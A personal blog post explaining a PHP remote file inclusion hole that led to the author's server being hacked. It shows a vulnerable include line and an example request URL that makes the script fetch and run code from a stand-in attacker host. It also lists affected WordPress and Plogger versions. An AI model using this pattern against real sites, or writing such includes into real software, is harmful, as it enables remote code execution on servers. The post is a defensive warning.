• Home
  • About

szehau's weblog

Life, Internet, Software, Gadgets, Programming and Investments

  • life log
  • internet
  • programming
  • software
  • working holiday
  • gadget
  • project

PHP security problem

I just knew this problem a month ago when one of my friend’s website on my server being hacked and installed a background program. The background program generate huge and useless image and movie files at server.

After hours of inspection at my server, I found the background progam ran under apche’s process. The background program called “footer.gif”. Smart huh? They name the background program as a image file’s name so that people can’t find it.

Actually it is not a bug of security bug in php. It is the problem of open source and careless of the programmer.

The problem occur when your php scripts have code like this:

// example.php
include "$path/script.php";

The page can be requested with http://yourdomain/example.php?page=http%3A%2F%2Fevil.example.org%2F%3F and the script will run as:

// example.php
include "http://evil.example.org/?/script.php";

What will happen then? Your php script will download the code from “http://evil.example.org/?/script.php” and run it as local php file. This is pretty dangerous because the url above can return any malicious code that can harm your server including compile a C program, delete files, scan and read personal data from you server directory and etc.

For more information and solution, you can check the site PHP Security Consortium.

So, if you are using open source script, please make sure they have fixed the security hole mentioned above. And always use the latest stable version of script. It will be more safe if you are you using your own code because nobody will know what are variable names that you are using in your scripts.

Some of the open source php scripts that have this problem:

  • WordPress 1.5.2 – Please upgrade to 1.5.3 or above
  • Plogger Beta 2 – Please upgrade to 2.1

About Sze Hau

Geek. Love programming. Coffee addicted. Married with a child. Working towards financial freedom.

Email News Letter

Sign up to receive updates daily and to hear what's going on with us

More Posts

5 Essential Things You Need To Have At Your Home During The COVID-19 Pandemic

June 1, 2021 22:15 By Sze Hau

LED Downlight

Troubleshooting A Flickering LED Downlight

February 13, 2016 00:29 By Sze Hau

Repair A Broken iPhone Lightning Cable

January 30, 2016 00:54 By Sze Hau

Blog Network

  • Personal Fincance Personal Finance – Personal Money Tips, Stock Investment, Small Business and Make Money Online
  • Snippet IT Information technology news, ideas and experiences and opinions

Recent

  • 5 Essential Things You Need To Have At Your Home During The COVID-19 Pandemic
  • Troubleshooting A Flickering LED Downlight
  • Repair A Broken iPhone Lightning Cable
  • New Gadget – MacBook Pro with Retina Display (2015)
  • One Watt LED Night Light

Search

Tags

2014 adsense advertisement Arduino baby blog blogtal Canon EOS 400D Chinese New Year Christchurch CNY DiGi DIY electronic FBM Flickr Flickr Uploadr Google Google Maps Google Search Results Google Webmaster Central investment joke KLCI KLSE Lake Tekapo LED MacBook Air Maybank2u Motueka movie mutual funds New Zealand PC Fair 2009 Queenstown restaurant for dinner sharing stock trackback Twitter unit trust visa wordpress wordpress plugin working holiday